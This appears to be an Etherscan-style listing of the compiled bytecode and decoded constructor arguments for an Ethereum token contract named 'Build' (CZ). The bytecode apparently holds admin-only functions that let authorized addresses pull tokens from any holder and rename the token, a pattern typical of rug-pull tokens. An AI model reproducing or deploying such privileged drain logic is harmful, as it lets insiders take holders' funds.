b610b4b565b34801561047a57600080fd5b50610229610489366004611b5c565b610b92565b34801561049a57600080fd5b50600d54600f54600c54601054601254604080519586526020860194909452928401919091526060830152608082015260a00161026d565b3480156104de57600080fd5b506102296104ed366004611c56565b610bf8565b3480156104fe57600080fd5b506000546001600160a01b031661036a565b34801561051c57600080fd5b506102b760075481565b34801561053257600080fd5b50610260610c32565b34801561054757600080fd5b50610229610556366004611cba565b610c41565b34801561056757600080fd5b50610296610576366004611a26565b610d20565b34801561058757600080fd5b5060135461036a906001600160a01b031681565b3480156105a757600080fd5b50610229610d2d565b3480156105bc57600080fd5b506102296105cb366004611d82565b610db1565b3480156105dc57600080fd5b506102b76105eb366004611dc5565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b34801561062257600080fd5b50610229610631366004611df8565b610e1a565b34801561064257600080fd5b5060145461036a906001600160a01b031681565b34801561066257600080fd5b506102b7610671366004611e16565b610e57565b34801561068257600080fd5b50610229610691366004611afc565b610e74565b3480156106a257600080fd5b5060165461036a906001600160a01b031681565b6000546001600160a01b031633146106e95760405162461bcd60e51b81526004016106e090611e33565b60405180910390fd5b601654604051630571ac8b60e41b81526001600160a01b039091166004820152309063571ac8b0906024016020604051808303816000875af1158015610733573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107579190611e68565b50610760611022565b565b6018805461ff001916610100179055336000908152600b602052604090205460ff1661078d57600080fd5b6107988230836110d7565b50506018805461ff001916905550565b6060600480546107b790611e85565b80601f01602080910402602001604051908101604052809291908181526020018280546107e390611e85565b80156108305780601f1061080557610100808354040283529160200191610830565b820191906000526020600020905b81548152906001019060200180831161081357829003601f168201915b5050505050905090565b3360008181526009602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906108959086815260200190565b60405180910390a35060015b92915050565b6000546001600160a01b031633146108d15760405162461bcd60e51b81526004016106e090611e33565b600182101580156108e3575060648110155b61093a5760405162461bcd60e51b815260206004820152602260248201527f4d61782077616c6c6574206d7573742062652067726561746572207468616e20604482015261312560f01b60648201526084016106e0565b6109598161095384600654610f5e90919063ffffffff16565b90610fe0565b6007555050565b6001600160a01b038316600090815260096020908152604080832033845290915281205460001914610a0d576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b03871660009081526009825283812033825290915291909120546109e891849061131b565b6001600160a01b03851660009081526009602090815260408083203384529091529020555b610a188484846110d7565b90505b9392505050565b6003546001600160a01b0316600090815260086020526040812054610a6f906002546001600160a01b0316600090815260086020526040902054610a699060065490611355565b90611355565b905090565b60006108a18260001961083a565b6000546001600160a01b03163314610aac5760405162461bcd60e51b81526004016106e090611e33565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610b015760405162461bcd60e51b81526004016106e090611e33565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b336000908152600b602052604090205460ff16610b6757600080fd5b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610bbc5760405162461bcd60e51b81526004016106e090611e33565b600d869055600e859055600c849055600f839055610be683610be086818a8a611397565b90611397565b60105560119190915560125550505050565b336000908152600b602052604090205460ff16610c1457600080fd5b6005610c208282611f0d565b506004610c2d8382611f0d565b505050565b6060600580546107b790611e85565b336000908152600b602052604090205460ff16610c5d57600080fd5b60005b8251811015610d1a57836001600160a01b031663a9059cbb848381518110610c8a57610c8a611fcd565b6020026020010151846040518363ffffffff1660e01b8152600401610cc49291906001600160a01b03929092168252602082015260400190565b6020604051808303816000875af1158015610ce3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d079190611e68565b5080610d1281611ff9565b915050610c60565b50505050565b6000610a1b3384846110d7565b336000908152600b602052604090205460ff16610d4957600080fd5b6013546040516000916001600160a01b03169061753090479084818181858888f193505050503d8060008114610d9b576040519150601f19603f3d011682016040523d82523d6000602084013e610da0565b606091505b5050905080610dae57600080fd5b50565b6000546001600160a01b03163314610ddb5760405162461bcd60e51b81526004016106e090611e33565b601380546001600160a01b039485166001600160a01b031991821617909155601580549285169282169290921790915560148054929093169116179055565b336000908152600b602052604090205460ff16610e3657600080fd5b60175560168054911515600160a01b0260ff60a01b19909216919091179055565b60008115610e6757505060105490565b505060115490565b919050565b6000546001600160a01b03163314610e9e5760405162461bcd60e51b81526004016106e090611e33565b6001600160a01b038116610f035760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106e0565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600082600003610f70575060006108a1565b6000610f7c8385612012565b905082610f898583612029565b14610a1b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016106e0565b6000610a1b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113f6565b6018805461ff001916610100179055601654306000818152600860205260409081902054601354915163f305d71960e01b815247946001600160a01b039081169463f305d7199487946110839492939092839287921690429060040161204b565b60606040518083038185885af11580156110a1573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110c69190612086565b50506018805461ff00191690555050565b601854600090610100900460ff16156110fc576110f5848484611424565b9050610a1b565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b03161415801561114c57506002546001600160a01b03848116911614155b801561117157506001600160a01b0383166000908152600b602052604090205460ff16155b156111e75760075482611199856001600160a01b031660009081526008602052604090205490565b6111a391906120b4565b11156111e75760405162461bcd60e51b815260206004820152601360248201527213585e0815d85b1b195d08115e18d959591959606a1b60448201526064016106e0565b6111ef61150a565b156111fc576111fc611582565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03871660009081526008909152919091205461124e91849061131b565b6001600160a01b038516600090815260086020908152604080832093909355600a90529081205460ff1615611283578261128e565b61128e85858561193f565b6001600160a01b0385166000908152600860205260409020549091506112b49082611397565b6001600160a01b0380861660008181526008602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113089085815260200190565b60405180910390a3506001949350505050565b6000818484111561133f5760405162461bcd60e51b81526004016106e09190611a50565b50600061134c84866120c7565b95945050505050565b6000610a1b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061131b565b6000806113a483856120b4565b905083811015610a1b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016106e0565b600081836114175760405162461bcd60e51b81526004016106e09190611a50565b50600061134c8486612029565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038616600090815260089091529182205461147591849061131b565b6001600160a01b0380861660009081526008602052604080822093909355908516815220546114a49083611397565b6001600160a01b0380851660008181526008602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114f89086815260200190565b60405180910390a35060019392505050565b6000336001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000161480159061154d5750601854610100900460ff16155b80156115625750601654600160a01b900460ff165b8015610a6f57505060175430600090815260086020526040902054101590565b6018805461ff001916610100179055601054600d54600091116115a65760006115a9565b60005b60ff16905060008082116115be5760006115de565b6115de600261095360105461095386601754610f5e90919063ffffffff16565b905060006115f78260175461135590919063ffffffff16565b6040805160028082526060820183529293506000929091602083019080368337019050509050308160008151811061163157611631611fcd565b6001600160a01b039283166020918202929092010152600180548351921691839190811061166157611661611fcd565b6001600160a01b03928316602091820292909201015260165460405163791ac94760e01b815291169063791ac947906116a79085906000908690309042906004016120da565b600060405180830381600087803b1580156116c157600080fd5b505af11580156116d5573d6000803e3d6000fd5b5050601054479250600091506116eb5781611706565b611706601054610953600f5485610f5e90919063ffffffff16565b6014546040519192506000916001600160a01b039091169061753090849084818181858888f193505050503d806000811461175d576040519150601f19603f3d011682016040523d82523d6000602084013e611762565b606091505b50509050806117b35760405162461bcd60e51b815260206004820152601e60248201527f72656365697665722072656a656374656420455448207472616e73666572000060448201526064016106e0565b6117cf6103e8610953600f600654610f5e90919063ffffffff16565b6017541161180d576117f36103e86109536007600654610f5e90919063ffffffff16565b601754106118065760185460ff16611810565b6001611810565b60005b6018805460ff1916911515918217905560ff166118475761184260646109536061601754610f5e90919063ffffffff16565b611862565b61186260646109536067601754610f5e90919063ffffffff16565b601755851561192b5760165460135460405163f305d71960e01b81526001600160a01b039283169263f305d7199287926118ab9230928d9260009283921690429060040161204b565b60606040518083038185885af11580156118c9573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906118ee9190612086565b505060408051858152602081018990527f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b450692500160405180910390a15b50506018805461ff00191690555050505050565b60008061198f6012546109536119887f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316886001600160a01b031614610e57565b8690610f5e565b306000908152600860205260409020549091506119ac9082611397565b30600081815260086020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906119fd9085815260200190565b60405180910390a361134c8382611355565b80356001600160a01b0381168114610e6f57600080fd5b60008060408385031215611a3957600080fd5b611a4283611a0f565b946020939093013593505050565b600060208083528351808285015260005b81811015611a7d57858101830151858201604001528201611a61565b506000604082860101526040601f19601f8301168501019250505092915050565b60008060408385031215611ab157600080fd5b50508035926020909101359150565b600080600060608486031215611ad557600080fd5b611ade84611a0f565b9250611aec60208501611a0f565b9150604084013590509250925092565b600060208284031215611b0e57600080fd5b610a1b82611a0f565b8015158114610dae57600080fd5b60008060408385031215611b3857600080fd5b611b4183611a0f565b91506020830135611b5181611b17565b809150509250929050565b60008060008060008060c08789031215611b7557600080fd5b505084359660208601359650604086013595606081013595506080810135945060a0013592509050565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff81118282101715611bde57611bde611b9f565b604052919050565b600082601f830112611bf757600080fd5b813567ffffffffffffffff811115611c1157611c11611b9f565b611c24601f8201601f1916602001611bb5565b818152846020838601011115611c3957600080fd5b816020850160208301376000918101602001919091529392505050565b60008060408385031215611c6957600080fd5b823567ffffffffffffffff80821115611c8157600080fd5b611c8d86838701611be6565b93506020850135915080821115611ca357600080fd5b50611cb085828601611be6565b9150509250929050565b600080600060608486031215611ccf57600080fd5b611cd884611a0f565b925060208085013567ffffffffffffffff80821115611cf657600080fd5b818701915087601f830112611d0a57600080fd5b813581811115611d1c57611d1c611b9f565b8060051b9150611d2d848301611bb5565b818152918301840191848101908a841115611d4757600080fd5b938501935b83851015611d6c57611d5d85611a0f565b82529385019390850190611d4c565b979a979950505050604095909501359450505050565b600080600060608486031215611d9757600080fd5b611da084611a0f565b9250611dae60208501611a0f565b9150611dbc60408501611a0f565b90509250925092565b60008060408385031215611dd857600080fd5b611de183611a0f565b9150611def60208401611a0f565b90509250929050565b60008060408385031215611e0b57600080fd5b8235611a4281611b17565b600060208284031215611e2857600080fd5b8135610a1b81611b17565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611e7a57600080fd5b8151610a1b81611b17565b600181811c90821680611e9957607f821691505b602082108103611eb957634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115610c2d57600081815260208120601f850160051c81016020861015611ee65750805b601f850160051c820191505b81811015611f0557828155600101611ef2565b505050505050565b815167ffffffffffffffff811115611f2757611f27611b9f565b611f3b81611f358454611e85565b84611ebf565b602080601f831160018114611f705760008415611f585750858301515b600019600386901b1c1916600185901b178555611f05565b600085815260208120601f198616915b82811015611f9f57888601518255948401946001909101908401611f80565b5085821015611fbd5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006001820161200b5761200b611fe3565b5060010190565b80820281158282048414176108a1576108a1611fe3565b60008261204657634e487b7160e01b600052601260045260246000fd5b500490565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b60008060006060848603121561209b57600080fd5b8351925060208401519150604084015190509250925092565b808201808211156108a1576108a1611fe3565b818103818111156108a1576108a1611fe3565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561212a5784516001600160a01b031683529383019391830191600101612105565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212202aeb10649ccb1b069f085890ae2befd3bdc3f59e2e12fcc1d336222f3267632a64736f6c634300081100330000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000054275696c640000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002435a000000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x6080604052600436106102085760003560e01c806384b0aa6611610118578063ca33e64c116100a0578063df20fd491161006f578063df20fd4914610616578063e96fada214610636578063f1f3bca314610656578063f2fde38b14610676578063f887ea401461069657600080fd5b8063ca33e64c1461057b578063caf5f67d1461059b578063d7c01032146105b0578063dd62ed3e146105d057600080fd5b80638da5cb5b116100e75780638da5cb5b146104f25780638f9a55c01461051057806395d89b4114610526578063a1ac727f1461053b578063a9059cbb1461055b57600080fd5b806384b0aa661461046e578063850c0bd61461048e57806386575e40146104d2578063893d20e8146104f257600080fd5b8063313ce5671161019b5780636ddd17131161016a5780636ddd1713146103c25780636ec518b8146103e357806370a0823114610403578063715018a6146104395780637537ccb61461044e57600080fd5b8063313ce5671461031a57806349bd5a5e14610336578063571ac8b014610382578063658d4b7f146103a257600080fd5b806318160ddd116101d757806318160ddd146102a657806323376e8f146102c557806323b872dd146102e55780632b112e491461030557600080fd5b806301339c211461021457806301c6adc31461022b57806306fdde031461024b578063095ea7b31461027657600080fd5b3661020f57005b600080fd5b34801561022057600080fd5b506102296106b6565b005b34801561023757600080fd5b50610229610246366004611a26565b610762565b34801561025757600080fd5b506102606107a8565b60405161026d9190611a50565b60405180910390f35b34801561028257600080fd5b50610296610291366004611a26565b61083a565b604051901515815260200161026d565b3480156102b257600080fd5b506006545b60405190815260200161026d565b3480156102d157600080fd5b506102296102e0366004611a9e565b6108a7565b3480156102f157600080fd5b50610296610300366004611ac0565b610960565b34801561031157600080fd5b506102b7610a22565b34801561032657600080fd5b506040516009815260200161026d565b34801561034257600080fd5b5061036a7f00000000000000000000000003627b74da20dd4decd607cee44b6d6c84778e3881565b6040516001600160a01b03909116815260200161026d565b34801561038e57600080fd5b5061029661039d366004611afc565b610a74565b3480156103ae57600080fd5b506102296103bd366004611b25565b610a82565b3480156103ce57600080fd5b5060165461029690600160a01b900460ff1681565b3480156103ef57600080fd5b5060155461036a906001600160a01b031681565b34801561040f57600080fd5b506102b761041e366004611afc565b6001600160a01b031660009081526008602052604090205490565b34801561044557600080fd5b50610229610ad7565b34801561045a57600080fd5b50610229610469366004611b25565b610b4b565b34801561047a57600080fd5b50610229610489366004611b5c565b610b92565b34801561049a57600080fd5b50600d54600f54600c54601054601254604080519586526020860194909452928401919091526060830152608082015260a00161026d565b3480156104de57600080fd5b506102296104ed366004611c56565b610bf8565b3480156104fe57600080fd5b506000546001600160a01b031661036a565b34801561051c57600080fd5b506102b760075481565b34801561053257600080fd5b50610260610c32565b34801561054757600080fd5b50610229610556366004611cba565b610c41565b34801561056757600080fd5b50610296610576366004611a26565b610d20565b34801561058757600080fd5b5060135461036a906001600160a01b031681565b3480156105a757600080fd5b50610229610d2d565b3480156105bc57600080fd5b506102296105cb366004611d82565b610db1565b3480156105dc57600080fd5b506102b76105eb366004611dc5565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b34801561062257600080fd5b50610229610631366004611df8565b610e1a565b34801561064257600080fd5b5060145461036a906001600160a01b031681565b34801561066257600080fd5b506102b7610671366004611e16565b610e57565b34801561068257600080fd5b50610229610691366004611afc565b610e74565b3480156106a257600080fd5b5060165461036a906001600160a01b031681565b6000546001600160a01b031633146106e95760405162461bcd60e51b81526004016106e090611e33565b60405180910390fd5b601654604051630571ac8b60e41b81526001600160a01b039091166004820152309063571ac8b0906024016020604051808303816000875af1158015610733573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107579190611e68565b50610760611022565b565b6018805461ff001916610100179055336000908152600b602052604090205460ff1661078d57600080fd5b6107988230836110d7565b50506018805461ff001916905550565b6060600480546107b790611e85565b80601f01602080910402602001604051908101604052809291908181526020018280546107e390611e85565b80156108305780601f1061080557610100808354040283529160200191610830565b820191906000526020600020905b81548152906001019060200180831161081357829003601f168201915b5050505050905090565b3360008181526009602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906108959086815260200190565b60405180910390a35060015b92915050565b6000546001600160a01b031633146108d15760405162461bcd60e51b81526004016106e090611e33565b600182101580156108e3575060648110155b61093a5760405162461bcd60e51b815260206004820152602260248201527f4d61782077616c6c6574206d7573742062652067726561746572207468616e20604482015261312560f01b60648201526084016106e0565b6109598161095384600654610f5e90919063ffffffff16565b90610fe0565b6007555050565b6001600160a01b038316600090815260096020908152604080832033845290915281205460001914610a0d576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b03871660009081526009825283812033825290915291909120546109e891849061131b565b6001600160a01b03851660009081526009602090815260408083203384529091529020555b610a188484846110d7565b90505b9392505050565b6003546001600160a01b0316600090815260086020526040812054610a6f906002546001600160a01b0316600090815260086020526040902054610a699060065490611355565b90611355565b905090565b60006108a18260001961083a565b6000546001600160a01b03163314610aac5760405162461bcd60e51b81526004016106e090611e33565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610b015760405162461bcd60e51b81526004016106e090611e33565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b336000908152600b602052604090205460ff16610b6757600080fd5b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610bbc5760405162461bcd60e51b81526004016106e090611e33565b600d869055600e859055600c849055600f839055610be683610be086818a8a611397565b90611397565b60105560119190915560125550505050565b336000908152600b602052604090205460ff16610c1457600080fd5b6005610c208282611f0d565b506004610c2d8382611f0d565b505050565b6060600580546107b790611e85565b336000908152600b602052604090205460ff16610c5d57600080fd5b60005b8251811015610d1a57836001600160a01b031663a9059cbb848381518110610c8a57610c8a611fcd565b6020026020010151846040518363ffffffff1660e01b8152600401610cc49291906001600160a01b03929092168252602082015260400190565b6020604051808303816000875af1158015610ce3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d079190611e68565b5080610d1281611ff9565b915050610c60565b50505050565b6000610a1b3384846110d7565b336000908152600b602052604090205460ff16610d4957600080fd5b6013546040516000916001600160a01b03169061753090479084818181858888f193505050503d8060008114610d9b576040519150601f19603f3d011682016040523d82523d6000602084013e610da0565b606091505b5050905080610dae57600080fd5b50565b6000546001600160a01b03163314610ddb5760405162461bcd60e51b81526004016106e090611e33565b601380546001600160a01b039485166001600160a01b031991821617909155601580549285169282169290921790915560148054929093169116179055565b336000908152600b602052604090205460ff16610e3657600080fd5b60175560168054911515600160a01b0260ff60a01b19909216919091179055565b60008115610e6757505060105490565b505060115490565b919050565b6000546001600160a01b03163314610e9e5760405162461bcd60e51b81526004016106e090611e33565b6001600160a01b038116610f035760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106e0565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600082600003610f70575060006108a1565b6000610f7c8385612012565b905082610f898583612029565b14610a1b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016106e0565b6000610a1b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113f6565b6018805461ff001916610100179055601654306000818152600860205260409081902054601354915163f305d71960e01b815247946001600160a01b039081169463f305d7199487946110839492939092839287921690429060040161204b565b60606040518083038185885af11580156110a1573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110c69190612086565b50506018805461ff00191690555050565b601854600090610100900460ff16156110fc576110f5848484611424565b9050610a1b565b7f00000000000000000000000003627b74da20dd4decd607cee44b6d6c84778e386001600160a01b0316836001600160a01b03161415801561114c57506002546001600160a01b03848116911614155b801561117157506001600160a01b0383166000908152600b602052604090205460ff16155b156111e75760075482611199856001600160a01b031660009081526008602052604090205490565b6111a391906120b4565b11156111e75760405162461bcd60e51b815260206004820152601360248201527213585e0815d85b1b195d08115e18d959591959606a1b60448201526064016106e0565b6111ef61150a565b156111fc576111fc611582565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03871660009081526008909152919091205461124e91849061131b565b6001600160a01b038516600090815260086020908152604080832093909355600a90529081205460ff1615611283578261128e565b61128e85858561193f565b6001600160a01b0385166000908152600860205260409020549091506112b49082611397565b6001600160a01b0380861660008181526008602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113089085815260200190565b60405180910390a3506001949350505050565b6000818484111561133f5760405162461bcd60e51b81526004016106e09190611a50565b50600061134c84866120c7565b95945050505050565b6000610a1b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061131b565b6000806113a483856120b4565b905083811015610a1b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016106e0565b600081836114175760405162461bcd60e51b81526004016106e09190611a50565b50600061134c8486612029565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038616600090815260089091529182205461147591849061131b565b6001600160a01b0380861660009081526008602052604080822093909355908516815220546114a49083611397565b6001600160a01b0380851660008181526008602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114f89086815260200190565b60405180910390a35060019392505050565b6000336001600160a01b037f00000000000000000000000003627b74da20dd4decd607cee44b6d6c84778e38161480159061154d5750601854610100900460ff16155b80156115625750601654600160a01b900460ff165b8015610a6f57505060175430600090815260086020526040902054101590565b6018805461ff001916610100179055601054600d54600091116115a65760006115a9565b60005b60ff16905060008082116115be5760006115de565b6115de600261095360105461095386601754610f5e90919063ffffffff16565b905060006115f78260175461135590919063ffffffff16565b6040805160028082526060820183529293506000929091602083019080368337019050509050308160008151811061163157611631611fcd565b6001600160a01b039283166020918202929092010152600180548351921691839190811061166157611661611fcd565b6001600160a01b03928316602091820292909201015260165460405163791ac94760e01b815291169063791ac947906116a79085906000908690309042906004016120da565b600060405180830381600087803b1580156116c157600080fd5b505af11580156116d5573d6000803e3d6000fd5b5050601054479250600091506116eb5781611706565b611706601054610953600f5485610f5e90919063ffffffff16565b6014546040519192506000916001600160a01b039091169061753090849084818181858888f193505050503d806000811461175d576040519150601f19603f3d011682016040523d82523d6000602084013e611762565b606091505b50509050806117b35760405162461bcd60e51b815260206004820152601e60248201527f72656365697665722072656a656374656420455448207472616e73666572000060448201526064016106e0565b6117cf6103e8610953600f600654610f5e90919063ffffffff16565b6017541161180d576117f36103e86109536007600654610f5e90919063ffffffff16565b601754106118065760185460ff16611810565b6001611810565b60005b6018805460ff1916911515918217905560ff166118475761184260646109536061601754610f5e90919063ffffffff16565b611862565b61186260646109536067601754610f5e90919063ffffffff16565b601755851561192b5760165460135460405163f305d71960e01b81526001600160a01b039283169263f305d7199287926118ab9230928d9260009283921690429060040161204b565b60606040518083038185885af11580156118c9573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906118ee9190612086565b505060408051858152602081018990527f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b450692500160405180910390a15b50506018805461ff00191690555050505050565b60008061198f6012546109536119887f00000000000000000000000003627b74da20dd4decd607cee44b6d6c84778e386001600160a01b0316886001600160a01b031614610e57565b8690610f5e565b306000908152600860205260409020549091506119ac9082611397565b30600081815260086020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906119fd9085815260200190565b60405180910390a361134c8382611355565b80356001600160a01b0381168114610e6f57600080fd5b60008060408385031215611a3957600080fd5b611a4283611a0f565b946020939093013593505050565b600060208083528351808285015260005b81811015611a7d57858101830151858201604001528201611a61565b506000604082860101526040601f19601f8301168501019250505092915050565b60008060408385031215611ab157600080fd5b50508035926020909101359150565b600080600060608486031215611ad557600080fd5b611ade84611a0f565b9250611aec60208501611a0f565b9150604084013590509250925092565b600060208284031215611b0e57600080fd5b610a1b82611a0f565b8015158114610dae57600080fd5b60008060408385031215611b3857600080fd5b611b4183611a0f565b91506020830135611b5181611b17565b809150509250929050565b60008060008060008060c08789031215611b7557600080fd5b505084359660208601359650604086013595606081013595506080810135945060a0013592509050565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff81118282101715611bde57611bde611b9f565b604052919050565b600082601f830112611bf757600080fd5b813567ffffffffffffffff811115611c1157611c11611b9f565b611c24601f8201601f1916602001611bb5565b818152846020838601011115611c3957600080fd5b816020850160208301376000918101602001919091529392505050565b60008060408385031215611c6957600080fd5b823567ffffffffffffffff80821115611c8157600080fd5b611c8d86838701611be6565b93506020850135915080821115611ca357600080fd5b50611cb085828601611be6565b9150509250929050565b600080600060608486031215611ccf57600080fd5b611cd884611a0f565b925060208085013567ffffffffffffffff80821115611cf657600080fd5b818701915087601f830112611d0a57600080fd5b813581811115611d1c57611d1c611b9f565b8060051b9150611d2d848301611bb5565b818152918301840191848101908a841115611d4757600080fd5b938501935b83851015611d6c57611d5d85611a0f565b82529385019390850190611d4c565b979a979950505050604095909501359450505050565b600080600060608486031215611d9757600080fd5b611da084611a0f565b9250611dae60208501611a0f565b9150611dbc60408501611a0f565b90509250925092565b60008060408385031215611dd857600080fd5b611de183611a0f565b9150611def60208401611a0f565b90509250929050565b60008060408385031215611e0b57600080fd5b8235611a4281611b17565b600060208284031215611e2857600080fd5b8135610a1b81611b17565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611e7a57600080fd5b8151610a1b81611b17565b600181811c90821680611e9957607f821691505b602082108103611eb957634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115610c2d57600081815260208120601f850160051c81016020861015611ee65750805b601f850160051c820191505b81811015611f0557828155600101611ef2565b505050505050565b815167ffffffffffffffff811115611f2757611f27611b9f565b611f3b81611f358454611e85565b84611ebf565b602080601f831160018114611f705760008415611f585750858301515b600019600386901b1c1916600185901b178555611f05565b600085815260208120601f198616915b82811015611f9f57888601518255948401946001909101908401611f80565b5085821015611fbd5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006001820161200b5761200b611fe3565b5060010190565b80820281158282048414176108a1576108a1611fe3565b60008261204657634e487b7160e01b600052601260045260246000fd5b500490565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b60008060006060848603121561209b57600080fd5b8351925060208401519150604084015190509250925092565b808201808211156108a1576108a1611fe3565b818103818111156108a1576108a1611fe3565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561212a5784516001600160a01b031683529383019391830191600101612105565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212202aeb10649ccb1b069f085890ae2befd3bdc3f59e2e12fcc1d336222f3267632a64736f6c63430008110033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000054275696c640000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002435a000000000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : _nameParam (string): Build
Arg [1] : _symbolParam (string): CZ

-----Encoded View---------------
6 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000040
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [3] : 4275696c64000000000000000000000000000000000000000000000000000000
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000002
Arg [5] : 435a000000000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

